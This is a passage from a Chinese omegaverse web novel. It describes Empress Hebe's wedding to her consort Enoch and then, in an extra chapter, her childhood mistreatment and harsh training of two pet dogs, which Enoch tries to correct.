赫柏既会工作,又会享受,她知道只要在以诺身边,她就是开心放松的,想了想暂时没有需要她处理的紧急事件,就把所有工作抛在脑后,甜甜蜜蜜地抱着以诺,爱他、想他的话说了几百几千遍。 “你上次问我的两款地毯,最后选了哪种呀,我实在是有点太忙,忘记回复了,你不会怪我吧?” “怎么会。” “该死的路易斯,我都已经那么忙了,还来给我添堵,我想想怎么才能让他吃个哑巴亏,让他知道不该惹我。” 以诺轻笑,漫不经心却勾人的样子,赫柏突然想到什么,握住以诺的手臂把他压退两步在柱子旁边,亲他。 以诺猝不及防,眼睛乱看,好在艾琳在他们一起走的时候就已经避开了,周围没有别人。 “赫柏……” “我刚刚看到了,你和莉莉丝小姐在说话了,还笑了呢,说了什么好笑的,也说给我听听。”赫柏握着他的脖子,漆黑的眼睛满是审视。 以诺这次真的开心,嘴角的笑意怎么都压不住,抱紧赫柏,“没说什么,我跟她有什么好说的。” “真的吗?” 以诺把滚烫的脸埋进赫柏的脖子里,“真的,当然是真的,我只是想让你多看看我而已,你别这样看我了……又流水了。” 赫柏今日份情绪价值达标,抱着自己的omega,在他香香的颈边落下一个一个吻,五指嵌入柔软的金发,“你克服一下,外面来了好多宾客呢,我们去换衣服吧。” 礼服以白金为主调,饰以无数的珍珠和宝石,把一对眷侣衬托得美丽高贵,完全体现出贵族的气质和底蕴,两人牵着手在聚光灯中走下楼梯时,宾客中响起一阵惊讶的赞叹声。 诉说誓言,交换戒指,以诺再次站在教堂的十字架前,这次他不再忐忑,他此生的伴侣双眸含笑看着他,在宣读完誓言后,接过艾琳递来的册子,念《十四行情诗》。 “世人的俗语,大海的波涛,狂风暴雨都不能使我们分离;哪怕远隔天涯,我们也必以星辰为誓,紧紧偎依。” 赫柏念完一段,合上册子交给艾琳,捧住以诺的脸亲吻,眨着湿亮的眼睛对他小声说“我爱你”。 “可以有安全感吗,我的皇后,相信我会一直爱你,相信我需要你,我真的很需要你,我们永远是对方坚定的支持者,未来的所有人生道路,风风雨雨,我们始终一起面对,直到生命的尽头,好不好?” 从那个时候开始,以诺的心脏一直剧烈地跳动,频率高到他怀疑自己会在这个绝对不合适的场合晕厥过去,他太喜欢这个场景了,赫柏的身后,教堂玻璃美轮美奂地折射着日暮的光,光晕扫在女alpha柔美的头发和脸颊上,泉水一样清亮的声音在对他表白。 他感谢赫柏,他爱赫柏,感谢她的爱,感谢她赐予的一切。 仪式的最后,赫柏给以诺带上属于皇后的绶带,为他整理妥当,避免刮蹭到衣襟上的珠宝。 以诺真是漂亮,赫柏握着以诺的手,欣赏她的皇后,他的容貌十几年来一直没改变,瞳孔像碧蓝的宝石,盈动着泪水,如她所希望的那样,这双眼睛里已经满满当当全是她的身影,再也没有别人。 她不是个喜欢仪式感的人,但是为了看到以诺感动的神情,她愿意做这些。 举手之劳罢了,不会比往心脏里塞点东西难度更大,她愿意常常做出一些惊喜的举动,让以诺一直处在幸福感高涨的状态。 赫柏非常快乐地向摄像机后所有观摩的臣民宣布,这是她的皇后,来自古老的斯宾塞家族,空军上将,天才设计师,全世界最好的以诺先生。 那天晚上以诺一直在哭,回到宴会厅,当着所有贵宾的面,眼睛肿得像桃子还是一直哭一直哭,他已经觉得很不好意思,转身去擦了好几次眼泪,没过多久湿润的眼睛又被眼泪充盈。 赫柏体谅地叫他先去会客室休息一下,以诺点头,步履带风地走出去,过了没多久,在赫柏和几个皇室旁支的男孩闲谈时,以诺回来了,虽然控制好了眼泪,但看起来超级可怜,寸步不离地跟着她,挽着她的手腕。 几个男孩本来聊得好好的,看见皇后殿下这么紧张地念着陛下,一副低气压的样子,都纷纷不好意思起来,各自找借口离开。 赫柏还想多听听现在的中学生喜欢什么明星呢,转头一看,以诺又流了一行泪,哭就哭吧,还要蹙起眉头说:“我这样很不好吧,真是抱歉,看见你和别人那么亲密,不理我,我就忍不住,你会讨厌我这样吗?如果你讨厌的话,我下次一定不这样了。” 赫柏倒是没生气,本来也不是什么正事,以诺是很有分寸的,正事不会来打扰。她只是很新奇,以诺这个状态,怎么有点像小绿茶路易斯? 她以为永远都不会在以诺脸上看到这样的神情…… 赫柏这一沉默,又让以诺的玻璃心碎了一地,送别宾客的时候,倒是不再哭了,嘴角展平,对于一直很有礼貌的以诺来说,不在礼貌微笑的时候就可以算是脸色阴沉了。 赫柏那个时候也没关注他的情绪,和莱尔亲王他们聊了很久,等到晚上,回到被以诺做主装扮一新的,皇帝的卧室,才发现穿着丝绸睡衣,洗得香香软软的omega背着她,面向墙壁在睡觉,她常常盖的一张薄毯子被他盖在腰腹上,蜷缩着双腿,露出一双白皙的脚丫子。 乍一看像是睡着了,其实肩膀微微耸动。 赫柏躺上去抱他,他回身抱怨:“你没洗澡呢,身上全是汗,衣服也脏的”,眼角挂着豆大的泪珠。 赫柏在床上撑起身体,抹掉那颗泪珠,以诺在她手下又羞又恼地发抖,随着她指尖划过之处,眼角、面颊逐渐染上粉红。 他任由她轻薄,张着嫣红的双唇大口呼吸,还要故作冷静地质问:“有什么好笑的?” 太好玩了,赫柏又发现了新的好玩的事,只是这么一会儿就足够消弭一整天工作的疲惫。 那就是,为她吃醋的以诺,简直就是一碟她怎么看都看不够,玩不够,也吃不够的甜点,她没怎么心疼他的眼泪,反而在心中想到几个坏主意。 现在,她更加对每一个明天充满期待。 第69章 第69章[番外]赫柏小时候养过…… 赫柏小时候养过两条小狗。 都是像云朵一样蓬松柔软的白色皮毛,湿漉漉的黑色眼睛,可怜、无害,无论什么时候都摇着尾巴,热情欢快地迎向它的主人。它们出现的时间非常靠近,都留下了一些照片,后来连赫柏本人也无法分辨究竟谁是第一只,谁是第二只。 它们都叫雪球,在皇宫外的草丛里捡到雪球一号的那天,七岁的赫柏刚刚在房间里看完母亲的日记,里面提到,母亲在嫁到莱茵帝国前养过一只叫雪球的小狗。 雪球一号被发现时躺在草丛里奄奄一息,后腿受伤了,赫柏听到了它的呼吸声,她扒开草丛,不太斯文地抓着小狗的后颈把抓出来,为了不沾到血把它双手架在半空中,对上那双恐惧、求救的眼睛。 这一定是上天的安排,赫柏想到,这条狗受了这么重的伤却没有死掉,而是突破围墙和警卫来到皇宫附近,就是为了和她相遇。 这是 她的雪球。 可是它看上去快要死了,她不知道要怎么给它治伤,但是没关系,以诺一定知道。 以诺叫来兽医,给雪球做了手术,包扎,养了一两个月,小狗活过来了,它的生命力真是顽强,除了有一点点瘸腿,其他一切都很好。 它聪明,知道赫柏和以诺是救了自己的人,对他们非常亲近,其他人则是碰都不能碰,那样很好,赫柏更喜欢它了。 雪球的伤刚好,赫柏就想把它抱回自己房间里养着,以诺不放心:“它要吃新鲜的生骨肉,每天都要出门跑两圈,不然就会一直叫,还有可能随地上厕所,把你最喜欢的坐垫咬烂,唔,还可能咬你,你真的想好了吗?” “当然,我想好了,我要自己养它,这是我的雪球。”赫柏揪了揪小狗头上的毛毛,对上它抬起的眼睛粲然一笑,矮矮的人抱着小小的狗狗,一溜烟从以诺房间里跑了。 第二天以诺就听说赫柏发了脾气,因为小狗一直叫,可能是换了地方没有安全感,她就把它关进笼子里,不给饭吃,直到它屈服为止,可是雪球没有屈服,半夜在笼子里撒了一泡尿。 赫柏是被臭醒的,非常生气,以诺赶过去时看见她握着笼子用力地晃,雪球在里面滚来滚去小声惨叫。 “你不要这样对它。”以诺蹲在赫柏身边,拍了拍她的脑袋,短短的发尾扎成一个小扫帚,让他的掌心刺痛,他按住笼子,不让她再摇晃,“雪球虽然不会说话,但也是会痛的。” 小狗感激地看着以诺,小心地看了赫柏一眼,凑到笼子边上,毛茸茸的脑袋去蹭以诺的手心。 赫柏环抱着膝盖,脸色阴阴沉沉的,她有点难过,雪球明明是她的狗狗,上天赐给她的,妈妈的狗狗,只是让以诺先照顾了两个月,就和他更亲。 以诺虽然声音轻柔,字字句句却都是她做的不对,这条狗也是,为什么要和外人这么亲密,赫柏忽然打开笼子把狗揪出来,用力拉扯它的耳朵。 “汪!汪!”雪球拼命挣扎,在她手上挠了一道,血痕显现,赫柏握着手愤怒地瞪着跑到角落里的狗。 以诺只是看了她一眼,先去安抚狗,让雪球安静下来,再叫侍臣找来消毒水和纱布,为她包扎。 “小动物就是这样的,和它相处要多点耐心。”以诺垂着睫毛,在绷带上轻轻打了个蝴蝶结,“还是先让我养着吧,好不好?你每天来和它玩一会儿,等你们熟悉了再……” “怎么不熟悉了!”赫柏打断他的话,“它是我救回来的,它的命是我的,我想要怎么对它就怎么对它,谁要你多管闲事了!” 女孩儿手上缠着厚厚的绷带,那爪子划得不轻,应该是痛的,眼眶很红却不哭,憋着气推搡以诺,一直把他推到房间门口,重重关上房门。 她是个非常倔强的孩子,以诺只能无奈离开,去煮一些雪球爱吃的食物,叫人每天送过来。 过了几天以诺再来时,雪球变得非常乖,不正常地乖,一直跟在赫柏脚边,不吵不闹,吃饭也很斯文,被她抱起来只会翕动鼻子,小小的脑袋埋在她的臂弯里,温驯地伏着身子。 赫柏抚摸它背上的毛毛,扬起下巴对以诺说,她找来了有名的训狗大师,专门对付那些不听话的狗狗,“成果很好,对不对,小雪球?” 她用力薅雪球头上的卷毛,小狗身体一抖,只是轻轻地“汪”了声,比起反抗更像是撒娇,赫柏大笑着揉它的脑袋,搓圆捏扁,说:“这才是我的乖狗狗!” 以诺想起自己的亲妹妹,安妮塔小时候也是这样,有种浑然天成的坏,他一直遗憾没有用尽全力纠正她,而赫柏无论是个性,还是身份,都是更难管束的存在。 他看着黑白分明的眼睛眯起来,从里头溢出开心的笑意,他看着赫柏用小脸去碰狗狗偶的脑袋,那么纯真可爱的女孩——虽然很难,他还是想要告诉她什么是善,什么是恶。 “这样是不对的,赫柏。”他半蹲下,直视女孩的双眼。 赫柏的笑意慢慢消失,可能是察觉到他前所未有的严肃,她搂着小狗认真地看向他。 “有什么不对?” “不应该对雪球使用暴力。”那个训狗大师用了什么手段,让狗狗在短时间内改变个性,他们都心知肚明,赫柏不在意过程,只想得到一只乖狗狗。 “为什么呢?雪球现在很乖,我也很开心,我们很好。” “这种方式建立起来的不是真正的感情,雪球不会真的把你当成好朋友,它只是怕你,它怕痛,所以不敢忤逆你。” “我要的就是这样!”赫柏固执地仰着脑袋,“只要怕我就够了,再也不敢抓我,不敢咬我,不敢吵闹,乖乖让我抱,那就够了!” “你要的不是那样,你想和它成为好朋友,只是你不知道怎么做,你应该慢慢和它相处,对它好,它会感觉到的,也会慢慢地亲近你,听你的话,它会很爱你,这种缓慢建立起来的好感,是不一样的,你会从中得到滋养,从雪球的爱里,成为一个更好的人。” 赫柏似懂非懂,隐约明白自己错了,却不肯承认,无论如何也不愿意承认,抱紧小狗反驳:“我才没有像你这么闲得无聊,我只是想要它和我玩而已,谁管它是怕我还是爱我,你别以为你很了解我!” 以诺失望地摇头,站起来,赫柏已经抱着雪球背过身去,“乖狗狗,我给你肉吃,大师说过的,你的脑容量很小,只要给你肉吃,就不会记得疼了,只会一直乖……” 后来,大概过了两三个月,赫柏还请过两三次训狗大师,在雪球不听话时训上一下午,后来就没有了,见过雪球的人都说,那乖的不像只真狗,像个会自己吃喝拉撒的玩偶。 赫柏非常满意,每天把雪球带在身边,直到一次宴会,一直围着她打转的小狗不见了。 她起初没有在意,大师说雪球可以自己出去玩玩,会回来的,皇宫四周有围墙,而且它是一只被完美驯养的宠物狗,外面的世界对它来说,是充满风雨和荆棘的可怕的地方,它可不敢跑出去。 直到深夜,赫柏洗完澡了,雪球还是没回来,放在墙角的狗饭没动过,外面逐渐噼里啪啦地下起雨来,她开始担心。 很多侍臣一起打着手电筒,在越下越大的雨中,搜索皇宫附近的草丛和犄角旮旯的地方,有人害怕这么大阵仗会吵醒早睡的老皇帝,小公主赫柏殿下穿着雨衣,额头的头发丝全部湿透,牙关哆嗦地吩咐:“都给我找!皇爷爷问责,我自己承担,跟你们都没有关系!谁找到雪球我赏赐一百万金币!” 直到天际泛白,使臣把皇宫附近,连带着围墙外方圆百里的花园、湖泊、草坪都搜索了个遍,没有看到一只淋雨的惨兮兮的小狗的影子。 “回去吧,找不到了。”以诺俯身握住赫柏发抖的肩膀。 赫柏用力摇头,“不,它不会跑远的,大师说过,它害怕外面的世界,”她冰凉的小手握住以诺的手,仰头求助,“雪球是不是被人抓走了,我们去看监控好不好?” “监控已经看过了,它是自己跑出去的,跑到敞开的大门前,消失在了监控盲区。” “对啊,就是这样,谁也不知道它去了哪里,可能它掉进了某个隐秘的陷阱里,一直向我求救,也可能是它被人抓走了,可是监控没有拍到,我想调查今晚的全部宾客,看看他们有没有把雪球装进飞船里带走,看看雪球在不在他们家里。” 以诺蹲下,抚过赫柏的额头,拂开湿透的额发,安静地注视着她,直到她的情绪稳定,瘦小的身体不再颤抖。 赫柏很聪明的,调查全部宾客,是不可能的,为了一条小狗,今天晚上已经很劳师动众,她自己能想明白这点。 赫柏在以诺温暖的手心里抽噎,过了五分钟她就好了,吸了吸鼻子:“不找了,不就是一条狗嘛,我一点也不在乎,也不伤心,做我的狗狗是它前世修来的福分,它却不珍惜……那就算了。 ” 很快赫柏又得到了一条雪白的小狗,她没有主动去找,是一位亲王听说她遗憾地跑丢了一条小狗,特意找来一条同样品种的,长相也差不多的送给她,希望小赫柏不要再伤心了。 以诺观察赫柏,她通过那次刻骨铭心的失去,学会耐心。 雪球二号的脾气更不好,赫柏的耐性却好了很多,亲自给它送热好的牛奶和精致的狗饭,抱着膝盖蹲在笼子前,看小狗大快朵颐。吃饱了不让抱也可以,赫柏不强求了,让它自己在笼子里待着,有空的话,会让侍臣绑好绳索,亲自到花园里遛狗。 雪球二号一天天地和赫柏亲近起来,成为一只很乖的小狗,以诺看着赫柏抱起小狗,用毛巾给它擦拭脏兮兮的脚掌,被口水舔了一脸也不生气,抱着小狗直笑,他有点欣慰。 “这样很好,对不对?赫柏,小雪球很爱你呢。”以诺坐在亭子边上,轻柔抚摸雪球二号的绒毛。 赫柏点头,乖巧的面容语出惊人:“我测试过,它已经完全驯服了,就算给它机会打开笼子,解开缰绳也不会再跑,现在,它完全是我的小狗了。” 原来还是为了要小狗驯服吗?以诺的心沉到谷底去,少女的黑发披肩,一些垂落在脸颊旁边,遮挡住她的神色,她把下巴压在膝盖上,从头到背到尾巴撸狗,忽然用力抓住小狗的尾巴。 雪球二号痛呼一声,四肢蹬起来,委屈地转了转眼睛,不明白主人为什么要这样对自己,但是主人的脸上只有柔柔的微笑,应该是错觉吧,善良的主人不可能伤害它的,它忘掉刚才的疼痛,又去对赫柏甩尾巴,用脑袋蹭她的膝盖。 以诺思考要怎么跟赫柏说这个问题,真正的爱,和占有、驯服是不一样的,但她现在,确实已经改变了,起码在学着耐心和温柔地对待小动物,改变就是变好的开始。 以诺并不知道赫柏的心里其实很失落,雪球二号越乖顺,她就越失落,一直想,一直想她逃跑的雪球一号,如果她那个时候也温柔地对待它,也许它就不会跑了。 一只逃跑的小狗,从她掌控的世界中逃离,意味着她永远失去了真正驯服它的机会……真让人遗憾。 所以她渐渐对摇尾乞怜的雪球二号失去了兴趣,虽然都是狗,长得几乎一样,性格还是有点不同的,一号骨子里要倔强很多,她总是想到在草丛中第一次发现它时,奄奄一息的小狗,挣扎求生的神情。 好难过,好遗憾,它竟然会有一天,永远地离开她。 这份遗憾是赫柏永远藏在心底的秘密,没有对任何人说起过,包括以诺。 在那件事之后不久,以诺获得了参军的机会,他公开提出的诉求掀起满城风雨,军方的态度是欢迎omega加入,皇室和贵族则愤怒于他的反叛。 赫柏知道以诺是一定会走的,她不舍得这个玩伴,却在陪着以诺仰望星空的那些日子里清楚他的灵魂深处有多向往自由。 当然会失落,但她更相信他们总会重逢。 “要好好对待雪球,把它当成真正的朋友,让它代替我陪伴你。”以诺离去前揉着女孩的脑袋嘱咐,她睁着大眼睛点头,忽然扑到他怀里,让他毫无防备,退后两步才稳住身体。 赫柏收紧手臂,抱住他的腰身,埋在他的腹部深深吸气。 “以诺,亲王殿下,再见。” 后来以诺经常想到赫柏和雪球,在执行飞行任务时经常想到,看着无垠的星空,想到皇宫的阳台上,全世界只有顽劣的小女孩支持他的梦想,“如果您很想去参军的话,就去好了。” 赫柏会乖一点吗?她和雪球二号能相处融洽吗?偶尔听到将士们闲聊,却听到这样一段对话:“赫柏公主呀,三分钟热度不能再多了,前些天很喜欢的那条小狗,天天抱着的,没几天就不喜欢了,送给一个洗衣工带回家去养。” “那只叫雪球的小狗,在皇宫里锦衣玉食的,吃的是最好的生骨肉,最好的牛奶,洗衣工家里哪有这个条件,听说天天叫啊,叫啊,不肯吃东西,饿得皮包骨头,后来洗衣工跟赫柏殿下说了,殿下就又把狗接了回去。” “让人养在其他地方,好吃好喝地供着,自己是甩手不管了,凡是她要走的地方都不许小狗出现,要是让她撞上小狗,就要惩罚侍臣看守不力,真是很任性的公主殿下呢,说不爱就不爱了,不管那只小狗有多伤心。” 以诺先是揪心,转念一想,赫柏和小狗的故事这样发展也算合理,他该庆幸赫柏虽然冷情却不失善良,起码把雪球二号接了回去,不让它在别人家里饿死。 这种恶劣的、冷漠的本性,也许有助于女孩在暗流涌动的皇室生存下来,巧妙地夺取、获得,拓展势力,帮助她成为皇帝。 现在她已经学会了委婉的手段,带上面具,耐心地等待猎物驯服,这对她和日后要被她统治的民众来说,都是好的,而以诺,他已经没有办法,作为长辈教会她更多了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&